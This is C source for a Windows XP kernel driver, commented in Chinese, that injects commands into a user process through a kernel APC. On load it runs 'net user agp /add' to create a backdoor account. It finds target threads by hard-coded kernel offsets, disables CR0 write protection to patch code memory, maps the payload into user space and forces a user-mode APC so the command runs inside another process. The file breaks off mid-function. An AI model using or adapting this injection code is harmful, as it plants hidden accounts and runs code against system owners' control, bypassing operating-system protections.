#include "ApcInject.h"
VOID
DriverUnload(
IN PDRIVER_OBJECT DriverObject
)
{
DbgPrint("DriverUnload\r\n");
}
//驱动入口
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING pRegistryString)
{
NTSTATUS status = STATUS_SUCCESS;
DriverObject->DriverUnload = DriverUnload;
//我们的一个函数,执行的是应用层下的net,添加一个用户
KExec("net user agp /add");
return status;
}
BOOLEAN
KExec(
PCHAR CmdLine
)
{
HANDLE hThreAd = NULL;
NTSTATUS dwStAtus;
//首先检查我们输入的命令是否大于99字符串
//我们输入的名字不能超过预留的空间
if(strlen(CmdLine) > 99){ //one byte for '\0'
DbgPrint("CmdLine is too long,At most 100 bytes\n");
return FALSE;
}
//检查支持的系统版本
if(FALSE == CheckVersion_Exec()){
DbgPrint("os version not supported\n");
return FALSE;
}
//创建一个线程来执行我们的WorkThreAd_Exec
dwStAtus = PsCreateSystemThread(&hThreAd,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
WorkThreAd_Exec,
CmdLine
);
if (!NT_SUCCESS(dwStAtus)){
DbgPrint("error when creAte the threAd\n");
return FALSE;
}
return TRUE;
}
//--------------------------------------------------------------------
BOOLEAN
CheckVersion_Exec(
VOID
)
{
RTL_OSVERSIONINFOEXW osversion = {0};
osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
u_DbgPrint(("dwMAjorVersion: %d\n",osversion.dwMajorVersion));
u_DbgPrint(("dwMinorVersion: %d\n",osversion.dwMinorVersion));
u_DbgPrint(("dwBuildNumber: %d\n",osversion.dwBuildNumber));
u_DbgPrint(("wServicePAckMAjor: %d\n",osversion.wServicePackMajor));
u_DbgPrint(("wServicePAckMinor: %d\n",osversion.wServicePackMinor));
if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 3)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
else if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 2)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------
//PMDL pMdl = NULL;
VOID
WorkThreAd_Exec(
IN PVOID pContext
)
{
ULONG process,threAd;
PKEVENT pEvent = NULL;
PMDL pMdl = NULL;
PVOID MAppedAddress = NULL;
ULONG size;
KAPC_STATE ApcStAte;
PCHAR CmdLine;
CmdLine = (PCHAR)pContext;
//寻找一个进程的eprocess,和可以插入apc的线程的线程对象
if (!find_threAd_Exec(&process,&threAd)){
DbgPrint("cAnnot find the right threAd\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
//申请一个event,用来提供通知
pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
if(!pEvent){
DbgPrint("ExAllocatePool(pEvent) fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
//这里进行重定位计算
memcpy((UCHAR*)UserExec_end,CmdLine,strlen(CmdLine));
memset((UCHAR*)((ULONG)UserExec_end+strlen(CmdLine)),0,1);
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
//得到我们要执行命令的size
size = (UCHAR*)UserExec_end - (UCHAR*)UserExec + 100;//最多100个字节的
u_DbgPrint(("size: %d\n",size));
//开始申请mdl
pMdl = IoAllocateMdl(
UserExec,
size,
FALSE,
FALSE,
NULL
);
if(!pMdl){
ExFreePool (pEvent);
DbgPrint("IoAllocateMdl fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__try{
//锁住,这里的代码是可写权限
MmProbeAndLockPages(
pMdl,
KernelMode,
IoWriteAccess
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmProbeAndLockPAges fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("process 0x%x\n",process));
//切换到改进程的上下文
KeStackAttachProcess((PEPROCESS)process,&ApcStAte);
__try{
//这里呢就返回我们映射好的地址
MAppedAddress = MmMapLockedPagesSpecifyCache(
pMdl,
UserMode, //用户模式
MmCached,
NULL,
FALSE,
NormalPagePriority
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPagesSpecifyCAche fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("MAppedAddress: 0x%x\n",MAppedAddress));
if (!MAppedAddress){
KeUnstackDetachProcess(&ApcStAte);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
//reuse ,freed in APC->KernelRoutine
//进行重定位计算
CmdLine = (PCHAR)((ULONG)MAppedAddress + (ULONG)((UCHAR*)UserExec_end - (UCHAR*)UserExec));
//退出切换
KeUnstackDetachProcess(&ApcStAte);
//在这里初始化一个event
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
//开始插入apc
uSetTheApc_Exec(process,threAd,(ULONG)MAppedAddress,pEvent,CmdLine);
//一直等待apc的调用过程是否结束
KeWaitForSingleObject(
pEvent,
Executive,
KernelMode,
FALSE,
NULL
);
u_DbgPrint(("ok free pEvent pMdl now\n"));
ExFreePool(pEvent);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here \n");
}
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG process,
ULONG threAd,
ULONG MAppedAddress,
PKEVENT pEvent,
PCHAR CmdLine
)
{
NTSTATUS dwStAtus = STATUS_SUCCESS;
PKAPC pkApc;
BOOLEAN bBool;
*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1; //////////////////////////////////////////////
//*((unsigned char *)threAd+0x164)=1; //both of them works :>
pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
if (pkApc == NULL){
DbgPrint("error:ExAllocAtePool\n");
return STATUS_INSUFFICIENT_RESOURCES;
}
//初始化一个APC
KeInitializeApc(
pkApc,
(PKTHREAD)threAd,
OriginalApcEnvironment,
(PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec,
NULL,
(PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
UserMode, //用户模式
(PVOID)CmdLine
);
//插入apc
bBool = KeInsertQueueApc(pkApc,pEvent,0,0); //ticky
if(bBool == FALSE){
DbgPrint("error:KeInsertQueueApc\n");
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
//产生一个回调,我们在回调里面设置event信号状态,告诉KeWaitForSingleObject,apc已经插入执行完毕,你可以退出不需要等待了
VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormAlRoutine,
IN OUT PVOID *NormAlContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
)
{
PKEVENT pEvent;
//PCHAR CmdLine;
u_DbgPrint(("NormAlContext: 0x%x\n",(ULONG)*NormAlContext));
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE);
//CmdLine = (PWGETPARA)*NormAlContext;
//*SystemArgument1 = (PVOID)pPArA->szFileNAme;
//*SystemArgument2 = (PVOID)pPArA->ulType;
//*NormAlContext = (PVOID)pPArA->szURL;
//u_DbgPrint(("SystemArgument1: 0x%x\n",(ULONG)*SystemArgument1));
//u_DbgPrint(("SystemArgument2: 0x%x\n",(ULONG)*SystemArgument2));
//ExFreePool(pPA